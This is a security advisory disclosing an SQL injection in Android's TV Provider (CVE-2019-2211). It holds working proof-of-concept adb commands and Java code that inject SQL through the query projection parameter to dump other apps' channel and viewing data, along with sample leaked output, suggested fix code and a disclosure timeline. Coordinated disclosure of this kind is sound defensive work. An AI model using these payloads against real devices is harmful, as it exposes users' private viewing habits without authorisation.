IOActive Security Advisory

Title	Android (AOSP) TV Provider SQL Injection in Query Projection Parameter (CVE-2019-2211)
Severity	High
Discovered by	Daniel Kachakil, Senior Security Consultant
Advisory Date	January 17, 2020

Affected Products

Android Open Source Project (AOSP)
Android TV versions: 8.0, 8.1, 9, 10 (other versions may be affected too)

Impact

A malicious application without any granted permission could retrieve all entries from the TV Provider internal database, bypassing all currently implemented access control mechanisms by exploiting an SQL injection in the `projection` parameter.

The information retrieved from this provider may include personal and potentially sensitive information about other installed applications and user preferences, habits, and activity, such as available channels and programs, watched programs, recorded programs, and titles in the “watch next” list.

Background

According to the official documentation[1]:

> *The TV Provider database stores the channels and programs from TV Inputs. The TV Provider also publishes and manages the associated permissions so that TV Inputs can see only their own records. For instance, a specific TV Input can see only the channels and programs it has supplied and is prohibited from accessing any other TV Inputs’ channels and programs.*
>
> *Only apps in the privileged system partition can read the entire TV Provider database.*
>
> *A TV Input may access only the information it wrote and is cordoned off from the information provided by other TV Inputs.*

[1] https://source.android.com/devices/tv

Technical Details

The `AndroidManifest.xml`[2] file does not declaratively restrict the read access to the TV Content Provider, but only enforces the write permission:

```
<provider android:name="TvProvider"
          android:authorities="android.media.tv"
          android:exported="true"
          android:syncable="true"
          android:writePermission=
               "com.android.providers.tv.permission.WRITE_EPG_DATA">

   <grant-uri-permission android:pathPattern="/channel" />
   <grant-uri-permission android:pathPattern="/program" />
</provider>
```

All validation, permission checks, and other restrictions are performed in the Java source code, which attempts to limit all kinds of unauthorized access to the information.

The following accessible URI does not require any permission, but in principle it restricts the returned data only to the one belonging to the associated application:

- `content://android.media.tv/channel/`

Unlike all other parameters, the `projection` parameter of the `query` method is never validated, and therefore it is possible to inject arbitrary SQL statements into it, allowing unrestricted read access to all the information in the internal `tv.db` database.

Proof of Concept

To reproduce the issue, run the following command in an Android TV device:

```
adb shell content query --uri content://android.media.tv/channel/
   --projection "x, * from table where _id=? or 1=1 -- "
```

The underlying final SQL statement which is executed would be:

```
SELECT NULL as x, * from table where _id=? or 1=1 -- FROM channels WHERE
((channels.package_name=?))
```

Note that the last part of the original query is commented out and will be completely ignored by the database. Since this query had a parameterized value, we need to include one (`_id=?`) in our injection to avoid further exceptions. Because the remaining "`1=1`" condition will always be evaluated to `true`, the injection will effectively return all rows from the table of our choice, with no restriction at all.

The aforementioned *`table`* parameter shall be replaced by any existing table name in the database:

- `channels`

[2] https://android.googlesource.com/platform/packages/providers/TvProvider/+/refs/heads/master/AndroidManifest.xml

- `programs`
- `preview_programs`
- `recorded_programs`
- `watch_next_programs`
- `watched_programs`

For instance, the following command:

```
adb shell content query --uri content://android.media.tv/channel/
   --projection "x, * from channels where _id=? or 1=1 -- "
```

Returns the following data, which belongs to a different package and should not be accessible in normal circumstances:

```
Row: 0 x=NULL, _id=1, package_name=com.google.android.tvrecommendations,
input_id=com.google.android.tvrecommendations/.RecommendationsManager,
type=TYPE_PREVIEW, service_type=SERVICE_TYPE_AUDIO_VIDEO,
original_network_id=0, transport_stream_id=0, service_id=0,
display_number=NULL, display_name=Videos by Google,
network_affiliation=NULL, description=NULL, video_format=NULL,
browsable=1, searchable=1, locked=0, app_link_icon_uri=NULL,
app_link_poster_art_uri=NULL, app_link_text=NULL, app_link_color=NULL,
app_link_intent_uri=tvrecommendations://apps/launch/com.lego.android.tvlea
nback, internal_provider_data=com.lego.android.tvleanback,
internal_provider_flag1=NULL, internal_provider_flag2=NULL,
internal_provider_flag3=NULL, internal_provider_flag4=NULL, logo=BLOB,
version_number=NULL, transient=0, internal_provider_id=NULL,
system_channel_key=NULL, configuration_display_order=NULL
```

If the output is empty in a testing environment, try with other tables and make sure that the TV provider contains some data, for instance by opening the sample application “Videos by Google” at least once.

Note that `adb` is not strictly required to exploit the vulnerability. Any malicious application can retrieve all existing data as follows:

```
ContentResolver res = this.getContentResolver();
Uri uri = Uri.parse("content://android.media.tv/channel");
Cursor cur = null;
try {
    String[] projection = new String[] {
        "x, * from channels where _id=? or 1=1 -- "
    };
    cur = res.query(uri, projection, null, null, null);
    if (cur != null && cur.getCount() > 0) {
        while (cur.moveToNext()) {
            String s = cur.getString(cur.getColumnIndex("display_name"));
            /* Retrieve more columns if needed... */
            Log.d("TVDMP", s);
        }
    }
} finally {
    if (cur != null) cur.close();
}
```


Older versions are also affected by this vulnerability, but the injection to exploit them can be slightly different. For instance, for Marshmallow (API 23):

```
adb shell content query --uri content://android.media.tv/channel/
   --projection "_id as x, * from channels -- "
```

Suggested Fixes

Make sure that the `projection` parameter of the `query` method is properly validated before executing the underlying request to the database.

Ideally, every string in the provided array must strictly match a valid column name. All projection maps for each existing table are already programmatically defined in the `TvProvider.java` file[3], so it should be relatively straightforward to validate this parameter by iterating the projection array, which is something already implementing, but throwing an exception as soon as a value cannot be found in the corresponding projection map, rather than returning a `NULL` value.

This is the current code of the function implementing this behavior:

```
private Map<String, String> createProjectionMapForQuery(
            String[] projection, Map<String, String> projectionMap) {

    if (projection == null) {
        return projectionMap;
    }
    Map<String, String> columnProjectionMap = new HashMap<>();
    for (String columnName : projection) {
        // Value NULL will be provided if the requested column does not
exist in the database.
        columnProjectionMap.put(columnName,
            projectionMap.getOrDefault(columnName, "NULL as " +
                                                   columnName));
    }
    return columnProjectionMap;
}
```

A safer alternative, which also mitigates the SQL injection vulnerability would be:

```
private Map<String, String> createProjectionMapForQuery(
            String[] projection, Map<String, String> projectionMap) {

    if (projection == null) {
        return projectionMap;
    }
    Map<String, String> columnProjectionMap = new HashMap<>();
    for (String columnName : projection) {
        if (!projectionMap.containsKey(columnName))
            throw new IllegalArgumentException("invalid column " +
                                               columnName);
```

[3] https://android.googlesource.com/platform/packages/providers/TvProvider/+/refs/heads/master/src/com/android/providers/tv/TvProvider.java


```
            columnProjectionMap.put(columnName,
                                    projectionMap.get(columnName));
        }
        return columnProjectionMap;
}
```

Mitigation

The vulnerability has been fixed in the official repository. Specifically, in the following commits:

https://android.googlesource.com/platform/packages/providers/TvProvider/+/4979d2270d6de469609345ed63b3737524f20286

https://android.googlesource.com/platform/packages/providers/TvProvider/+/320d22948ad7ad74da79ae6b839accc7b5b9e8f8

Google had released security patches for this vulnerability in November 2019. IOActive recommends applying the latest security patches from your vendor. If for any reason it is not possible to apply such updates, make sure that your Android TV device only contains trusted applications.

Timeline

- 2019-06-07 IOActive discovers vulnerability
- 2019-06-13 IOActive reports vulnerability to Google
- 2019-11-05 Google publishes the fix for the vulnerability
- 2020-01-17 IOActive advisory published

